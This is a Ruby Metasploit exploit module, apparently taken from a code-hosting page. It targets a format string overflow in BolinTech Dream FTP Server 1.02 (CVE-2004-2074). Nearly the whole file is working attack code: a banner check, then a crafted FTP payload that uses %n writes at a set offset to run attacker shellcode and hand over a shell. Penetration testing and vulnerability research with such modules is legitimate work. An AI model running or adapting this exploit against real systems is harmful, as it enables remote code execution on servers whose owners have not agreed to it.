80 lines
1.9 KiB
Ruby
80 lines
1.9 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'BolinTech Dream FTP Server 1.02 Format String',
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'Description' => %q{
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This module exploits a format string overflow in the BolinTech
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Dream FTP Server version 1.02. Based on the exploit by SkyLined.
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},
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'Author' => [ 'patrick' ],
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'Arch' => [ ARCH_X86 ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2004-2074'],
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[ 'OSVDB', '4986'],
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[ 'BID', '9800'],
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[ 'EDB', '823']
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],
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'Platform' => ['win'],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00\x0a\x0d",
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'StackAdjustment' => -3500,
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},
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'Targets' =>
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[
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# Patrick - Tested OK 2007/09/10 against w2ksp0, w2ksp4 en.
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[
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'Dream FTP Server v1.02 Universal',
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{
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'Offset' => 3957680, # 0x3c63ff-0x4f
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}
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],
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],
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'DisclosureDate' => 'Mar 03 2004',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(21),
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], self.class)
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end
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def check
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connect
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banner = sock.get(-1,3)
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disconnect
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if (banner =~ /Dream FTP Server/)
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return Exploit::CheckCode::Detected
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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select(nil,nil,nil,0.25)
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sploit = "\xeb\x29"
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sploit << "%8x%8x%8x%8x%8x%8x%8x%8x%" + target['Offset'].to_s + "d%n%n"
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sploit << "@@@@@@@@" + payload.encoded
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sock.put(sploit + "\r\n")
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select(nil,nil,nil,0.25)
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handler
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disconnect
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end
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end
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